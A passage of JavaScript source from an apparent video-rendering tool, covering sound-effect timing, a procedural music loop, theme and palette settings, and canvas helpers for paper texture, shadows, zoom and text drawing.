  let lastAcc = -1e9; const AG = spec.sfx?.accentGap ?? 1.5;
  for (const [t, fn] of accs.sort((a, b) => a[0] - b[0])) if (t - lastAcc >= AG) { fn(); lastAcc = t; }
  let lastMark = -1e9;
  for (const [t, dur] of marks.sort((a, b) => a[0] - b[0])) if (MK > 0 && t - lastMark >= .9) { X.marker(t, Math.min(.32, dur * .5), .1 * MK, .2); lastMark = t; }

  if (X !== X0) {   // group hits into events (.3 s), keep the best ones at least GAPS s apart, replay them
    const ev = []; for (const h of rec.sort((a, b) => a[1][0] - b[1][0])) {
      const e = ev[ev.length - 1]; if (e && h[1][0] - e.t < .3) e.hits.push(h); else ev.push({ t: h[1][0], hits: [h] });
    }
    const pr = e => Math.max(...e.hits.map(([k]) => KEEP[k] || 0)), kept = [];
    for (const e of [...ev].sort((a, b) => pr(b) - pr(a) || a.t - b.t)) if (kept.every(k => Math.abs(k.t - e.t) >= GAPS)) kept.push(e);
    for (const e of kept) for (const [k, a] of e.hits) X0[k](...a);
  }

  const m = spec._map;
  for (const [t, kind, g] of spec.sfx?.extra || []) {
    const tt = m ? m(t) : t;
    const X = X0;
    ({ tap: () => X.tap(tt, g ?? .3), pop: () => X.pop(tt, 600, g ?? .1), slide: () => X.slide(tt, g ?? .22), bell: () => X.bell(tt, hz(84), g ?? .05), thud: () => X.thud(tt, g ?? .3), tom: () => X.tom(tt, g ?? .5, 95 + 40 * X.rand(), -.3 + .6 * X.rand()), swish: () => X.swish(tt - .1, .45, g ?? .12, { f0: 400, f1: 3200, pk: .4 }) })[kind]?.();
  }
}

// spec.sfx.kit: a hard-cut style's own sound files (profile sfx.kit, e.g. nico-slowdown), laid on the edit by itself:
// {cut, pop, punch, gain: {cut: -13, pop: -11, punch: -9}, gap: .12}. cut = every seam change, every B-roll and cutout
// start or end; pop = every board img / logo / icon landing (sticker heads, swaps through imgKeys); punch = every instant
// zoom (a zoom key with a spring of 60 or more, e.g. [t, 1.39, 400]). Same kind closer than gap s plays once; a cut that
// lands with a pop or a punch gives way to it. Files are levelled like sfx.files, their loudest sample on the event.
export function kitHits(spec, T) {
  const K = spec.sfx?.kit; if (!K || spec.sfx?.mute) return { files: [] };
  const ev = { cut: [], pop: [], punch: [] }, G = { cut: -13, pop: -11, punch: -9, ...(K.gain || {}) }, gap = K.gap ?? .12;
  const lk = spec.layout?.keys || []; lk.forEach(([t, y], i) => { if (i && t > .05 && y !== lk[i - 1][1]) ev.cut.push(t); });
  for (const b of [].concat(spec.broll || [], spec.cutout || [])) for (const t of [b.from, b.to]) if (t > .05 && t < T - .05) ev.cut.push(t);
  for (const t of spec._jumps || []) if (t > .05 && t < T - .05) ev.cut.push(t);   // spec.cut joins: a jump cut clicks too
  // punch = an instant zoom IN away from a cut; a snap back out or a reframe on a cut keeps the cut's click
  const zk = spec.zoom?.keys || []; zk.forEach(([t, z, w], i) => { if ((w ?? 0) >= 60 && t > .02 && i && z > zk[i - 1][1] * 1.04 && !ev.cut.some(u => Math.abs(u - t) < .08)) ev.punch.push(t); });
  for (const s of spec.scenes || []) if (s.type === 'board') for (const it of s.items || []) {
    if (it.quiet || !['img', 'logo', 'icon'].includes(it.k)) continue;
    ev.pop.push((it.at ?? s.from) - (it.pre ?? 0)); for (const [t] of (it.imgKeys || []).slice(1)) ev.pop.push(t);
  }
  const busy = [...ev.pop, ...ev.punch], files = [];
  for (const kind of ['punch', 'pop', 'cut']) {
    if (!K[kind]) continue; let last = -1e9;
    for (const t of ev[kind].sort((a, b) => a - b)) {
      if (t - last < gap || t < 0 || t >= T) continue;
      if (kind === 'cut' && busy.some(u => Math.abs(u - t) < .08)) continue;
      files.push({ kit: kind, at: t, src: K[kind], gain: G[kind], peak: true }); last = t;
    }
  }
  return { files };
}

// Music bed: 4-chord loop, soft kick/rim/hats, bass, mallet arpeggio. spec.music = {bpm, breaks: [[a, b]] (drums
// drop out), end, drive (punchier groove)} in SOURCE time (mapped by the caller). Levels here are relative; the mixer sets the bed level.
export function score(spec, tl, X) {
  const M = spec.music || {}, T = tl.duration, end = Math.min(T, M.end ?? T), st = M.start ?? 0;
  // music.start: the bed enters later (e.g. after an on-camera count-in). tl.pause: the bed stops dead (tape stop)
  // and restarts from bar 1 on the resume, so the downbeat lands with the video coming back.
  const pz = tl.pause, segs = pz && pz.t0 > st && pz.t0 < end ? [[st, pz.t0, 0], [pz.t0 + pz.dur, end, 1]] : [[st, end, 0]];
  segs.forEach(([a, c, i]) => bed(M, X, a, c, T, i === segs.length - 1));
  if (segs.length > 1) X.pad(pz.t0 + .4, pz.t0 + pz.dur - .1, [52, 55, 59, 62], .45, 1.4, .3);   // soft hold under the narrator
}
function bed(M, X, st, end, T, last) {
  const bpm = M.bpm || 112, b = 60 / bpm;
  const breaks = M.breaks || [], inBreak = t => breaks.some(([a, c]) => t >= a && t < c);
  // Cmaj9 | Am9 | Fmaj7#11 | G6sus: bright, open, never sad
  const CH = [
    { root: 36, pad: [55, 59, 62, 64], arp: [72, 76, 79, 83, 86] },
    { root: 33, pad: [55, 60, 64, 67], arp: [69, 72, 76, 79, 83] },
    { root: 29, pad: [57, 60, 64, 71], arp: [69, 72, 77, 79, 83] },
    { root: 31, pad: [55, 60, 62, 64], arp: [67, 71, 74, 76, 79] },
  ];
  const bar = 4 * b, bars = Math.ceil((end - st) / bar);
  for (let k = 0; k < bars; k++) {
    const t0 = st + k * bar, c = CH[k % 4], t1 = Math.min(end, t0 + bar);
    X.pad(t0, t1 + (last ? .05 : .02), c.pad, 1, k ? .08 : (st ? .02 : .4), last ? .5 : .08);
    for (let j = 0; j < 8; j++) {
      const t = t0 + j * b / 2; if (t >= end - .05) break;
      const br = inBreak(t);
      if (!br && M.drive) {   // music.drive: four-on-the-floor, clap backbeat, 16th hats, pumping 8th bass, fill every 4 bars
        const fill = k % 4 === 3 || inBreak(t0 + bar + .01);
        if (j % 2 === 0) X.kick(t, .95); else if (j === 7 && k % 2) X.kick(t, .45);
        if (j === 2 || j === 6) X.clap(t, .95);
        X.hat(t, j % 2 ? .8 : .45, j % 2 ? .25 : .1); X.hat(t + b / 4, .4, -.2);
        X.bass(t, hz(c.root + (j % 2 ? 12 : 0)), b * .36, j % 2 ? .7 : .95);
        if (fill && j >= 6) { X.rim(t + b / 4, .75); X.clap(t + b / 4, .5); }
      } else if (!br) {
        if (j === 0 || j === 4 || (j === 7 && k % 2 === 1)) X.kick(t, j === 7 ? .5 : .9);
        if (j === 2 || j === 6) X.rim(t, .7);
        X.hat(t, j % 2 ? .55 : .9, j % 2 ? .25 : .1);
        if (j === 0 || j === 3 || j === 4 || j === 6) X.bass(t, hz(c.root + 12 * (j === 6 ? 1 : 0)), b * .42, .9);
      }
      const n = c.arp[[0, 2, 1, 3, 2, 4, 3, 1][j]];
      X.mallet(t + .004, hz(n), br ? .05 : .065, -.35 + .7 * (j / 7));
      if (M.drive && !br && k % 2) X.mallet(t + b / 4 + .004, hz(c.arp[[4, 3, 2, 1, 0, 1, 2, 3][j]]), .035, .35 - .7 * (j / 7));   // 16th answer
    }
  }
  // resolve: single held chord to the end so the short can loop cleanly
  if (last && end < T - .1) X.pad(end, T, CH[0].pad, .9, .05, .6);
}

// Drawing kit: tokens, springs, paper, sheets, text, cursor. Every function is a pure function of its inputs,
// so any frame renders identically in any order (stills, drafts and final share the same code).

// W x H follows spec.format: 1080x1920 (9:16 short), 1080x1080 ('square', X feed) or 1920x1080 ('wide', 16:9).
// The CLI passes them as ?w=&h= to the page.
const QS = typeof location !== 'undefined' ? new URLSearchParams(location.search) : null;
export const W = +QS?.get('w') || 1080, H = +QS?.get('h') || 1920;
const WD = W, HD = H;

// Strict palette: paper, ink, one blue (codelynx.dev/aibuilder --primary #258eff). Grays are ink tints.
export const C = {
  paper: '#F1EEE6', sheet: '#FCFBF8', ink: '#14161B', ink2: '#5C5F68', ink3: '#A19F98',
  line: '#E3DED3', blue: '#258EFF', blue2: '#1D6FD6', tint: '#E6F0FD', dim: '#D8D3C7', white: '#FFFFFF',
  onBlue: '#FFFFFF', pop: '#14161B',   // text on an accent fill, second label fill (style.colors onAccent / pop)
};
// Text families. F.sans is the creator's font (style.font.family), the default for every text call.
export const F = { sans: 'Inter', mono: 'JetBrains Mono' };
let GRAIN = 1;   // paper texture amount (style.paper.grain): 1 = fibers + grain, 0 = flat color
let TOOTH = 0;   // embossed paper relief (style.paper.tooth): 0 = none (default), 1 = cold-press paper you can feel
// finer paper control (each defaults to the knob above, so older styles render the same):
//   toothCell: tooth bump size in px (2.5 default; 1 to 1.5 = a crisp fine tooth instead of a soft stucco)
//   waves: the 90 px soft cockle of a real sheet (defaults to tooth; 0 = off, it reads as blur on 16:9)
//   mottle: the large soft light/dark blotches (defaults to grain; 0 = off, keeps fibers and grain crisp)
let TCELL = 2.5, WAVES = null, MOTTLE = null;
let LOGOS = 'lift';   // logo finish (style.paper.logos): 'lift' = raised soft shadow, 'flat' = no shadow, crisp hairline edge
let DEPTH = 1;   // shadow strength (style.paper.depth): 0 = flat, 1 = default, 2 = deep (ambient shadow, sheets lit from above, light falloff)
let DOTS = null;   // style.paper.dots {pitch (40), r (2), alpha (.07), color (white)}: a faint dot grid on the background (lemondedumarketing's dark split panel)
let BG = 'paper';   // background (style.paper.bg): 'paper' = textured sheet with a warm vignette, 'clean' = flat light gradient + a soft accent glow,
// 'flat' = the paper color alone (no grain, relief or vignette: a solid poster color like the nico-slowdown orange)
// shadow tints 'r,g,b' (style.paper.shadow recolors all three, e.g. a cool '16,40,64' for the clean look): sheet shadows, drop shadows, hairlines
let SH = '40,28,10', DROP = '20,16,8', EDGE = '60,45,20';
// Creator style (lib/style.js themeOf). Mutates C and F in place, so call it before initSheet / makeBackground.
export function setTheme(t = {}) {
  if (t.colors) Object.assign(C, t.colors);
  if (t.font) F.sans = famCss(t.font);
  if (t.grain != null) GRAIN = clamp(+t.grain, 0, 1.5);
  if (t.tooth != null) TOOTH = clamp(+t.tooth, 0, 1.5);
  if (t.toothCell != null) TCELL = clamp(+t.toothCell, .8, 8);
  if (t.waves != null) WAVES = clamp(+t.waves, 0, 1.5);
  if (t.mottle != null) MOTTLE = clamp(+t.mottle, 0, 1.5);
  if (t.depth != null) DEPTH = clamp(+t.depth, 0, 2);
  if (t.logos) LOGOS = t.logos;
  if (t.bg) BG = t.bg;
  if (t.dots) DOTS = t.dots === true ? {} : t.dots;
  if (t.shadow) SH = DROP = EDGE = String(t.shadow);
}
// CSS font shorthand needs quotes around a family with digits or dashes
export const famCss = f => /^[A-Za-z ,-]+$/.test(f) ? f : `"${String(f).replace(/"/g, '')}"`;
// Big-text look (style.display): the counters, stat values and big board texts in their own family, flat or embossed.
//   font: family of counters, stat values, depth texts and board texts of 100 px and more; weight: its weight (400 for a
//   single-weight face like Archivo Black); text: family of the other board texts; title: color of the board texts of
//   64 px and less that set none ('ink2'); flat: true drops the emboss of depth texts. Unset = Inter 800, embossed.
export const D = { font: null, weight: 800, text: null, title: null, flat: false };
export function setDisplay(d) {
  if (!d) return;
  if (d.font) D.font = famCss(d.font);
  if (d.weight) D.weight = d.weight;
  if (d.text) D.text = famCss(d.text);
  if (d.title) D.title = d.title;
  if (d.flat != null) D.flat = !!d.flat;
}
export const bgMode = () => BG;
export const shadowRGB = () => DROP;
export const edgeRGB = () => EDGE;
export const logoFinish = () => LOGOS;
export const depth = () => DEPTH;

export const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
export const lerp = (a, b, t) => a + (b - a) * t;
export const seg = (t, a, b) => clamp((t - a) / (b - a));
export const E = {
  out: x => x <= 0 ? 0 : x >= 1 ? 1 : 1 - Math.pow(2, -10 * x),          // site easing cubic-bezier(.19,1,.22,1)
  io: x => x <= 0 ? 0 : x >= 1 ? 1 : x < .5 ? Math.pow(2, 20 * x - 10) / 2 : (2 - Math.pow(2, -20 * x + 10)) / 2,
  cubic: x => 1 - Math.pow(1 - clamp(x), 3),
};

// Critically damped step response. 0 before x=0, ~95% at 4.74/w s. Never overshoots: no bounce, no pulse.
export const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
export const vis = (t, a, b = Infinity, wi = 14, wo = 18) => S(t - a, wi) * (1 - S(t - b, wo));
// Exit curve: 0 -> 1 over d s (smoothstep), then exactly 1. Exits are shorter than entrances and end clean: a spring
// exit (S(x, 16)) leaves a 5-17% ghost for .2-.4 s that crossfades over the next beat. Every scene and item exit uses it.
export const LEAVE = .26;
export const leave = (x, d = LEAVE) => x <= 0 ? 0 : x >= d ? 1 : (x /= d, x * x * (3 - 2 * x));
// Smooth one-shot press (0 -> 1 -> 0) for button clicks.
export const press = (t, at, d = .18) => { const x = (t - at) / d; return x <= 0 || x >= 1 ? 0 : Math.sin(Math.PI * x); };

// Keyframed value with spring retargeting. keys: [[time, number|array, w?]] sorted by time.
export function track(t, keys, w = 12) {
  let v = keys[0][1]; if (Array.isArray(v)) v = v.slice();
  for (let i = 1; i < keys.length; i++) {
    const p = S(t - keys[i][0], keys[i][2] ?? w); if (p <= 0) break;
    const a = keys[i - 1][1], b = keys[i][1];
    if (Array.isArray(v)) for (let j = 0; j < v.length; j++) v[j] += (b[j] - a[j]) * p; else v += (b - a) * p;
  }
  return v;
}

export const hash = n => { const s = Math.sin(n * 127.1 + 311.7) * 43758.5453; return s - Math.floor(s); };
export const noise1 = x => { const i = Math.floor(x), f = x - i, u = f * f * (3 - 2 * f); return lerp(hash(i), hash(i + 1), u); };
export function rng(seed) { let a = seed >>> 0; return () => { a = (a + 0x6D2B79F5) >>> 0; let t = a; t = Math.imul(t ^ (t >>> 15), t | 1); t ^= t + Math.imul(t ^ (t >>> 7), t | 61); return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; }

// ---------- paper ----------
export function makePaper(w, h, base = C.paper, seed = 3, amount = 1, res = 1, mottle = amount) {
  const c = new OffscreenCanvas(w, h), x = c.getContext('2d'), r = rng(seed);
  x.fillStyle = base; x.fillRect(0, 0, w, h);
  for (let i = 0; i < Math.max(4, w * h / 80000 / (res * res)); i++) {   // soft mottling
    const px = r() * w, py = r() * h, rad = Math.min(w, h) * (.2 + r() * .5), light = r() > .45;
    const g = x.createRadialGradient(px, py, 0, px, py, rad);
    g.addColorStop(0, light ? `rgba(255,255,255,${.10 * mottle})` : `rgba(130,105,70,${.04 * mottle})`); g.addColorStop(1, 'rgba(0,0,0,0)');
    x.fillStyle = g; x.fillRect(px - rad, py - rad, rad * 2, rad * 2);
  }
  x.lineCap = 'round';                                               // fibers
  const fs = Math.sqrt(res);                                         // fibers: finer and denser at high res, never stretched
  for (let i = 0; i < w * h / 650 * amount / fs; i++) {
    const px = r() * w, py = r() * h, len = (4 + r() * 18) * fs, a = r() * Math.PI * 2, bend = (r() - .5) * .9;
    x.strokeStyle = r() > .35 ? `rgba(105,85,55,${.02 + r() * .045})` : `rgba(255,255,255,${.1 + r() * .16})`;
    x.lineWidth = (.5 + r() * .9) * fs; x.beginPath(); x.moveTo(px, py);
    x.quadraticCurveTo(px + Math.cos(a + bend) * len * .5, py + Math.sin(a + bend) * len * .5, px + Math.cos(a) * len, py + Math.sin(a) * len); x.stroke();
  }
  const id = x.getImageData(0, 0, w, h), d = id.data;                // grain
  for (let i = 0; i < d.length; i += 4) { const n = (r() - .5) * 9 * amount; d[i] += n; d[i + 1] += n; d[i + 2] += n * .9; }
  x.putImageData(id, 0, 0);
  return c;
}

// Embossed relief: a smooth random height field lit from the top left, laid over the paper in overlay mode.
// cell = feature size in px (3 = paper tooth, 40+ = the soft cockle of a real sheet). Wraps around, so tiles stay seamless.
export function relief(c, cell, k, seed) {
  if (k <= 0) return;
  const w = Math.max(4, Math.round(c.width / cell)), h = Math.max(4, Math.round(c.height / cell)), r = rng(seed);
  let hm = new Float32Array(w * h).map(() => r());
  const at = (X, Y) => hm[((Y % h + h) % h) * w + (X % w + w) % w];
  for (let pass = 0; pass < 2; pass++) {
    const o = new Float32Array(w * h);
    for (let Y = 0; Y < h; Y++) for (let X = 0; X < w; X++) { let s = 0; for (let j = -1; j <= 1; j++) for (let i = -1; i <= 1; i++) s += at(X + i, Y + j); o[Y * w + X] = s / 9; }
    hm = o;
  }
  const s = new OffscreenCanvas(w, h), sx = s.getContext('2d'), id = sx.createImageData(w, h), d = id.data;
  for (let Y = 0; Y < h; Y++) for (let X = 0; X < w; X++) {
    const v = clamp(128 + (at(X - 1, Y - 1) - at(X + 1, Y + 1)) * 700 * k, 0, 255), i = (Y * w + X) * 4;
    d[i] = d[i + 1] = d[i + 2] = v; d[i + 3] = 255;
  }
  sx.putImageData(id, 0, 0);
  const x = c.getContext('2d'); x.save(); x.globalCompositeOperation = 'overlay'; x.imageSmoothingQuality = 'high';
  x.drawImage(s, 0, 0, c.width, c.height); x.restore();
}

function dotGrid(x, W, H) {   // paper.dots: centered grid, so the dots sit symmetric around the frame's middle
  if (!DOTS) return;
  const p = DOTS.pitch || 40, r = DOTS.r ?? 2, x0 = (W / 2) % p, y0 = (H / 2) % p;
  x.save(); x.globalAlpha = DOTS.alpha ?? .07; x.fillStyle = DOTS.color || '#FFFFFF'; x.beginPath();
  for (let y = y0; y < H; y += p) for (let i = x0; i < W; i += p) { x.moveTo(i + r, y); x.arc(i, y, r, 0, 2 * Math.PI); }
  x.fill(); x.restore();
}
// res = device pixels per layout px: format 'youtube' renders --scale 2 (4K) and needs the page painted at native size,
// a 1920x1080 page stretched 2x reads as blurry, dirty paper (review 2026-10-06).
export function makeBackground(W = WD, H = HD, res = 1) {   // any size (format 'youtube' paints a 1920x1080 page behind its 1080 stage)
  if (BG === 'clean') return cleanBackground(W, H);
  if (BG === 'flat') { const c = new OffscreenCanvas(W, H), x = c.getContext('2d'); x.fillStyle = C.paper; x.fillRect(0, 0, W, H); dotGrid(x, W, H); return c; }
  const c = makePaper(W, H, C.paper, 7, GRAIN, res, MOTTLE ?? GRAIN), x = c.getContext('2d'), deep = clamp(DEPTH - 1);
  relief(c, TCELL * Math.sqrt(res), .16 * TOOTH, 21); relief(c, 90 * res, .1 * (WAVES ?? TOOTH), 23);   // tooth + the soft waves of a real sheet
  if (deep > 0) {   // key light from the top left, falling off toward the bottom right
    const l = x.createRadialGradient(W * .22, -H * .08, 0, W * .22, -H * .08, H * 1.05);
    l.addColorStop(0, `rgba(255,255,255,${.22 * deep})`); l.addColorStop(.55, 'rgba(255,255,255,0)'); l.addColorStop(1, `rgba(60,44,20,${.07 * deep})`);
    x.fillStyle = l; x.fillRect(0, 0, W, H);
  }
  const g = x.createRadialGradient(W / 2, H * .42, H * .2, W / 2, H * .5, H * .85);
  g.addColorStop(0, 'rgba(0,0,0,0)'); g.addColorStop(1, `rgba(70,52,25,${(.10 + .06 * deep).toFixed(3)})`);
  x.fillStyle = g; x.fillRect(0, 0, W, H);
  return c;
}

// clean: white at the top and bottom, the paper tint in the middle, a wide soft glow of the accent behind the camera card
function cleanBackground(W, H) {
  const c = new OffscreenCanvas(W, H), x = c.getContext('2d'), [r, g, b] = hexRGB(C.blue);
  const v = x.createLinearGradient(0, 0, 0, H); v.addColorStop(0, C.sheet); v.addColorStop(.45, C.paper); v.addColorStop(1, C.sheet);
  x.fillStyle = v; x.fillRect(0, 0, W, H);
  for (const [cx, cy, rad, a] of [[W / 2, H * .53, W * .78, .12], [W / 2, H * .3, W * .6, .05]]) {
    const h = x.createRadialGradient(cx, cy, 0, cx, cy, rad);
    h.addColorStop(0, `rgba(${r},${g},${b},${a})`); h.addColorStop(.5, `rgba(${r},${g},${b},${a * .45})`); h.addColorStop(1, `rgba(${r},${g},${b},0)`);
    x.fillStyle = h; x.fillRect(0, 0, W, H);
  }
  return c;
}
export const hexRGB = h => { h = String(h).replace('#', ''); if (h.length === 3) h = h.replace(/./g, '$&$&'); return [0, 2, 4].map(i => parseInt(h.slice(i, i + 2), 16)); };

let SHEET = null;
export function initSheet(ctx) { const p = makePaper(420, 420, C.sheet, 11, .55 * GRAIN, 1, .55 * (MOTTLE ?? GRAIN)); relief(p, TCELL, .1 * TOOTH, 31); SHEET = ctx.createPattern(p, 'repeat'); }
export const sheetFill = () => SHEET || C.sheet;

// ---------- shadows (pre-blurred 9-slice sprites: no per-frame blur cost) ----------
const SHC = new Map();
function shSprite(r, blur, a) {
  const k = r + '|' + blur + '|' + a + '|' + SH; let o = SHC.get(k); if (o) return o;
  const pad = Math.ceil(blur * 2.5) + 2, core = 2 * r + 8, S_ = core + pad * 2;
  const c = new OffscreenCanvas(S_, S_), x = c.getContext('2d');
  x.filter = `blur(${blur}px)`; x.fillStyle = `rgba(${SH},${a})`; x.beginPath(); x.roundRect(pad, pad, core, core, r); x.fill();
  o = { c, pad, S: S_, cs: pad + r + 2 }; SHC.set(k, o); return o;
}
// shadow() follows the style depth (alpha x depth, longer and softer when deeper); shadowRaw() draws exactly what it is given.
export function shadow(ctx, x, y, w, h, r, blur, a, dy = 0) {
  if (DEPTH <= 0) return;
  shadowRaw(ctx, x, y, w, h, r, blur * (.6 + .4 * DEPTH), Math.min(1, +(a * DEPTH).toFixed(3)), dy * (.5 + .5 * DEPTH));
}
// canvas drop shadow (text, cutouts, photos) with the same depth scaling; reset with ctx.shadowColor = 'transparent'
export function drop(ctx, a, blur, dy, rgb = DROP) {
  ctx.shadowColor = `rgba(${rgb},${Math.min(1, a * DEPTH).toFixed(3)})`; ctx.shadowBlur = blur * (.6 + .4 * DEPTH); ctx.shadowOffsetY = dy * (.5 + .5 * DEPTH);
}

// Smooth push-in. A slow zoom done with the canvas transform re-snaps glyphs and edge antialiasing every frame, each
// element on a different frame, so text wobbles inside its card (up to 1 px jumps). zoomLayer() draws the scene into a
// layer at a fixed transform (zoomAt() only records the zoom there) and composites that layer scaled as one image:
// continuous subpixel motion, card and text locked together. 1x on purpose: a 2x+ layer goes through Chrome's mipmapped
// downscale, which snaps again (measured: 1x sd .01 px per frame, direct .25 px, 2x .2 px).
const LAYERS = [];
let layerDepth = 0;
function layerCtx(w, h) {
  let x = LAYERS[layerDepth];
  if (x && x.canvas.width === w && x.canvas.height === h) return x;
  const c = typeof document !== 'undefined' ? Object.assign(document.createElement('canvas'), { width: w, height: h }) : new OffscreenCanvas(w, h);
  x = c.getContext('2d'); x._zoomLayer = true;
  return (LAYERS[layerDepth] = x);
}
export function zoomLayer(R, draw) {
  const ctx = R.ctx, cv = ctx.canvas, x = layerCtx(cv.width, cv.height);
  x.setTransform(1, 0, 0, 1, 0, 0); x.clearRect(0, 0, cv.width, cv.height); x.setTransform(ctx.getTransform());
  for (const k of ['font', 'fillStyle', 'strokeStyle', 'lineWidth', 'lineCap', 'lineJoin', 'textAlign', 'textBaseline', 'letterSpacing']) x[k] = ctx[k];
  x.save(); x._zoom = null; layerDepth++;
  try { draw({ ...R, ctx: x }); } finally { layerDepth--; x.restore(); }
  const z = x._zoom;
  ctx.save(); ctx.setTransform(1, 0, 0, 1, 0, 0);
  if (z) { ctx.translate(z[1], z[2]); ctx.scale(z[0], z[0]); ctx.translate(-z[1], -z[2]); }
  ctx.imageSmoothingEnabled = true; ctx.imageSmoothingQuality = 'high'; ctx.drawImage(x.canvas, 0, 0); ctx.restore();
}
// scale by k around (px, py): recorded for the composite inside a zoomLayer, a plain transform anywhere else
export function zoomAt(ctx, k, px, py) {
  if (!ctx._zoomLayer) { ctx.translate(px, py); ctx.scale(k, k); ctx.translate(-px, -py); return; }
  const q = ctx.getTransform().transformPoint(new DOMPoint(px, py)); ctx._zoom = [k, q.x, q.y];
}
function shadowRaw(ctx, x, y, w, h, r, blur, a, dy = 0) {
  r = Math.max(0, Math.min(Math.round(r), Math.floor(Math.min(w, h) / 2)));
  const { c, pad, S: s, cs } = shSprite(r, Math.round(blur), a);
  const X = x - pad, Y = y - pad + dy, Wd = w + pad * 2, Hd = h + pad * 2, m = s - 2 * cs, dm = Wd - 2 * cs, dn = Hd - 2 * cs;
  if (dm < 0 || dn < 0) { ctx.drawImage(c, X, Y, Wd, Hd); return; }
  const sx = [0, cs, s - cs], sw = [cs, m, cs], dx = [X, X + cs, X + Wd - cs], dw = [cs, dm, cs], dyy = [Y, Y + cs, Y + Hd - cs], dh = [cs, dn, cs];
  for (let i = 0; i < 3; i++) for (let j = 0; j < 3; j++) ctx.drawImage(c, sx[i], sx[j], sw[i], sw[j], dx[i], dyy[j], dw[i], dh[j]);
}

// A sheet of paper: layered soft shadow, grain fill, hairline edge. elev 0..2 lifts it.
export function sheet(ctx, x, y, w, h, r, o = {}) {
  const a = o.alpha ?? 1, e = o.elev ?? 1; if (a <= .002 || w <= 0 || h <= 0) return;
  ctx.save(); ctx.globalAlpha *= a;
  const deep = clamp(DEPTH - 1);
  if (o.shadow !== false) {
    if (deep > 0) shadowRaw(ctx, x, y, w, h, r, 46 * e + 26, +(.07 * deep).toFixed(3), 26 * e + 12);   // ambient: the wide soft pool under a lifted sheet
    shadow(ctx, x, y, w, h, r, 18 * e + 8, .11, 9 * e + 4); shadow(ctx, x, y, w, h, r, 3, .07, 1.5);
    if (deep > 0) shadowRaw(ctx, x, y, w, h, r, 1, +(.09 * deep).toFixed(3), .8);   // contact: the dark hairline where it meets the paper
  }
  ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.fillStyle = o.fill || sheetFill(); ctx.fill();
  if (deep > 0) {   // lit from above: brighter top, a touch of shade at the bottom, a bright top edge
    const g = ctx.createLinearGradient(0, y, 0, y + h);
    g.addColorStop(0, `rgba(255,255,255,${.30 * deep})`); g.addColorStop(Math.min(.5, 90 / h), 'rgba(255,255,255,0)');
    g.addColorStop(Math.max(.5, 1 - 120 / h), 'rgba(60,44,20,0)'); g.addColorStop(1, `rgba(60,44,20,${.05 * deep})`);
    ctx.fillStyle = g; ctx.fill();
    ctx.save(); ctx.clip(); const t = ctx.createLinearGradient(0, y, 0, y + Math.min(36, h / 2));
    t.addColorStop(0, `rgba(255,255,255,${.9 * deep})`); t.addColorStop(1, 'rgba(255,255,255,0)');
    ctx.strokeStyle = t; ctx.lineWidth = 3; ctx.beginPath(); ctx.roundRect(x + .5, y + 1, w - 1, h - 1, r); ctx.stroke(); ctx.restore();
  }
  if (o.border !== false) { ctx.strokeStyle = o.stroke || `rgba(${EDGE},.07)`; ctx.lineWidth = o.lw || 1.5; ctx.stroke(); }
  ctx.restore();
}

// Depth helpers (only above depth 1, so the default look is unchanged). lift: the shadows of a raised rounded shape
// without its fill. gloss: a lit top edge on a filled rounded shape. groove: an inset track (shadow inside the top edge).
export const deepness = () => clamp(DEPTH - 1);
export function lift(ctx, x, y, w, h, r, e = 1) {
  const d = clamp(DEPTH - 1); if (d <= 0 || w <= 0 || h <= 0) return;
  shadowRaw(ctx, x, y, w, h, r, 34 * e + 14, +(.15 * d).toFixed(3), 18 * e + 6); shadowRaw(ctx, x, y, w, h, r, 4, +(.16 * d).toFixed(3), 2);
}
export function gloss(ctx, x, y, w, h, r, k = 1) {
  const d = clamp(DEPTH - 1) * k; if (d <= 0) return;
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.clip();
  const g = ctx.createLinearGradient(0, y, 0, y + h); g.addColorStop(0, `rgba(255,255,255,${.28 * d})`); g.addColorStop(.5, 'rgba(255,255,255,0)'); g.addColorStop(1, `rgba(0,0,0,${.10 * d})`);
  ctx.fillStyle = g; ctx.fillRect(x, y, w, h); ctx.restore();
}
export function groove(ctx, x, y, w, h, r) {
  const d = clamp(DEPTH - 1); if (d <= 0) return;
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.clip();
  ctx.shadowColor = `rgba(${SH},${(.22 * d).toFixed(3)})`; ctx.shadowBlur = 10; ctx.shadowOffsetY = 4;
  ctx.beginPath(); ctx.rect(x - 40, y - 40, w + 80, h + 80); ctx.roundRect(x, y, w, h, r); ctx.fillStyle = '#000'; ctx.fill('evenodd');
  ctx.restore();
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.strokeStyle = `rgba(255,255,255,${(.7 * d).toFixed(3)})`; ctx.lineWidth = 2;
  ctx.translate(0, 1.5); ctx.stroke(); ctx.restore();
}

// ---------- text ----------
export const font = (size, weight = 700, fam = F.sans) => `${weight} ${size}px ${fam}`;
const MC = new Map();
export function measure(ctx, s, size, weight = 700, ls = 0, fam = F.sans) {
  const k = s + '|' + size + '|' + weight + '|' + ls + '|' + fam; let v = MC.get(k);
  if (v == null) { ctx.save(); ctx.font = font(size, weight, fam); ctx.letterSpacing = ls + 'px'; v = ctx.measureText(s).width - ls; ctx.restore(); MC.set(k, v); }
  return v;
}
export function text(ctx, s, x, y, o = {}) {
  ctx.font = font(o.size || 40, o.weight || 700, o.fam); ctx.letterSpacing = (o.ls ?? 0) + 'px';
  ctx.textAlign = o.align || 'left'; ctx.textBaseline = 'alphabetic'; ctx.fillStyle = o.color || C.ink;
  if (o.depth) { embossed(ctx, s, x, y, o); return; }
  if (o.halo) { ctx.save(); ctx.lineWidth = o.halo; ctx.lineJoin = 'round'; ctx.strokeStyle = C.sheet; if (o.alpha != null) ctx.globalAlpha *= o.alpha; ctx.strokeText(s, x, y); ctx.restore(); }   // paper-coloured outline so text stays legible over dots and lines
  if (o.alpha != null) { ctx.save(); ctx.globalAlpha *= o.alpha; ctx.fillText(s, x, y); ctx.restore(); } else ctx.fillText(s, x, y);
}
// Embossed text (o.depth, 1 = default strength): the face stays flat in its own color, raised off the paper by a lit
// white top edge, a tight contact shadow and a soft wide one. No extrusion.
function embossed(ctx, s, x, y, o) {
  const sz = o.size || 40, face = o.color || C.ink, k = Math.max(1, DEPTH) * o.depth, off = 1e4;
  ctx.save(); if (o.alpha != null) ctx.globalAlpha *= o.alpha;
